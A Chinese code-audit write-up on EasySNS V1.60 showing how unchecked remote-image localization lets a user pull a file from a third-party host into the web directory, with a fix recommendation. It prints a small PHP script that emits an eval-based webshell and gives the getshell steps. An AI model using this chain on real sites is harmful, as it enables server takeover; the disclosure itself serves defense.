0x00 环境准备

EasySNS官网:http://www.imzaker.com

网站源码版本:EasySNS极简社区V1.60

程序源码下载:http://es.imzaker.com/index.php/Topic/gview/id/92.html

默认后台地址:http://127.0.0.1/admin.php/Login/login.html

默认账号密码:admin/admin

测试网站首页:

0x01 代码分析

​ 1、漏洞文件位置:  /app/common.func.php :

在公共调用函数里面,我们注意到getImageToLocal函数,通过正则从img标签里面获取链接,然后判断是否是本站地址,调用了getImage函数实现下载远程图片保存到本地,我们跟进同文件下的getImage函数进行查看:

在getImage函数中,并未对下载的文件名进行判断,获取文件后缀拼接到文件名,下载到网站目录中,那么这个函数是很危险的,很可能导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下。

​ 2、全局搜索getImageToLocal函数,找到调用函数的地方:

漏洞文件:/app/index/controller/Topic.php,在topicadd函数中,webconfig('bd_image')==1即当程序开启远程图片本地化的时候,调用了getImageToLocal函数,我们可以根据条件构造Payload来进行漏洞利用,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。

0x02 漏洞利用

一、利用条件

1、登录网站后台—系统管理—配置管理—开启远程图片本地化(默认安装情况下处于关闭状态):

2、在第三方网站放置一个evil.php作为代码源,如http://192.168.8.131/evil.php

evil.php文件内容:

`<?php

echo "<?php ";

echo "eval(file_get_contents('php://input'));";

echo "?>";

?> `

二、漏洞利用

1、注册一个test1用户,选择发布帖子,在html代码编辑状态下插入img标签

2、点击发布后,查看我的帖子,获取上传后的文件名。

3、文件路径格式为:/uploads/picture/cache/'.​filename

查看个人主页获取uid值,

4、需要把uid加上拼接为完整路径,最终获得文件路径,成功触发恶意代码,获取网站服务器权限。

http://127.0.0.1/uploads/picture/cache/2/2_VHZHOopR1520094924.php

0x03 修复建议

​ 白名单限制远程图片本地化下载的文件名后缀,只允许下载jpg、png等格式。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell的更多相关文章

  1. 火车头dede采集接口,图片加水印,远程图片本地化,远程无后缀的无图片本地化

    <?php /* [LocoySpider] (C)2005-2010 Lewell Inc. 火车采集器 DedeCMS 5.7 UTF8 文章发布接口 Update content: 图片加 ...

  2. php 远程图片本地化

    /** * 把新浪的远程图片下载到自己服务器上 * * @access public * @param goods_desc $goods_desc 要处理的内容 * @return mix 如果成功 ...

  3. ecshop 远程图片本地化

    define('IN_ECS', true); require(dirname(__FILE__) . '/includes/init.php'); $smarty->assign('siteD ...

  4. php开发中将远程图片本地化的方法

    检查文本内容中的远程图片,下载远程图片到本地的方法示例. /** * 下载远程图片到本地 * * @param string $txt 用户输入的文字,可能包含有图片的url * @param str ...

  5. ecshop_商品描述远程图片自动本地化插件

    解压缩文件,覆盖 ecshop 的 \includes\fckeditor文件夹. 这样在后台添加商品的商品详细描述,编辑器最后一个按钮就是自动下载 远程图片到你的网站空间,这样可防止对方网站图片失效 ...

  6. 代码审计就该这么来3 beescms getshell

    本文作者:i春秋作家——索马里的海贼 前言上一回(http://bbs.ichunqiu.com/thread-13714-1-1.html)说到快速漏洞挖掘中的几个重点关注对象,命令执行,文件操作, ...

  7. Android远程图片获取和本地缓存

    对于客户端——服务器端应用,从远程获取图片算是经常要用的一个功能,而图片资源往往会消耗比较大的流量,对 应用来说,如果处理不好这个问题,那会让用户很崩溃,不知不觉手机流量就用完了,等用户发现是你的应用 ...

  8. AsyncTask--远程图片获取与本地缓存

    对于客户端——服务器端应用,从远程获取图片算是经常要用的一个功能,而图片资源往往会消耗比较大的流量,对应用来说,如果处理不好这个问题,那会让用户很崩溃,不知不觉手机流量就用完了,等用户发现是你的应用消 ...

  9. PHP下载/采集远程图片到本地

    /** * 下载远程图片到本地 * * @param string $url 远程文件地址 * @param string $filenNme 保存后的文件名(为空时则为随机生成的文件名,否则为原文件 ...

随机推荐

  1. android尺子的自定义view——RulerView

    项目中用到自定义尺子的样式: 原代码在github上找的,地址:https://github.com/QQabby/HorizontalRuler 原效果为 因为跟自己要使用的view稍有不同  所以 ...

  2. 安卓程序代写 网上程序代写[原]BluetoothSocket详解

    一. BluetoothSocket简介 1. 简介 客户端与服务端 : BluetoothSocket 和 BluetoothServerSocket 类似于Java中的套接字的 Socket 和 ...

  3. 如何将baidu地图中的baidu logo 去掉

    今天我的老大问我是不是可以将baidumap 的js版中baidu logo 去掉.我上网查询一下,有各种方法,比如将对应的logo div remove hide 等等,这些都是需要JS 函数触发执 ...

  4. What is "found.000" ? How to deal with it?

    最近在ubuntu系统中发现双系统的win盘中有一些文件夹,名字是“found.000”,甚是疑惑,遂查而记之. found.000文件夹里面的一些后缀名为CHK的文件是你在使用“磁盘碎片整理程序”整 ...

  5. MongoDB MapReduce 小例子

    var map = function(){ if (this.gscode == "ZTJB"){ ymd = this.ymd; emit("maxymd", ...

  6. e815. 监听当前选择的的菜单或菜单项

    The currently selected menu or menu item in a JMenu or JPopupMenu is tracked by MenuSelectionManager ...

  7. powerDesigner生成Html及Word

    转载地址:https://blog.csdn.net/zdp072/article/details/51900794 1:点击Reports 2:点击New Reports 3:定义名字,选择简体中文 ...

  8. 多个IoC容器适配器设计及性能测试(Castle.Windsor Autofac Spring.Core)

    [转]多个IoC容器适配器设计及性能测试和容器选择 1. 采用的IoC容器和版本 Autofac.2.6.3.862 Castle.Windsor.3.1.0 Spring.Core.2.0.0 2. ...

  9. Java-Tomcat for Mac配置

    1.eclipse version: Eclipse Java EE IDE for Web Developers. Version: Oxygen.1 Release (4.7.1) Build i ...

  10. 安装vmware vCenter Appliance

    vcenter appliance是一个vmware配置好的基于suse系统的vcenter的all in one式的虚拟机,比安装基于windows的vcenter服务省事多了,所以我选择部署vCe ...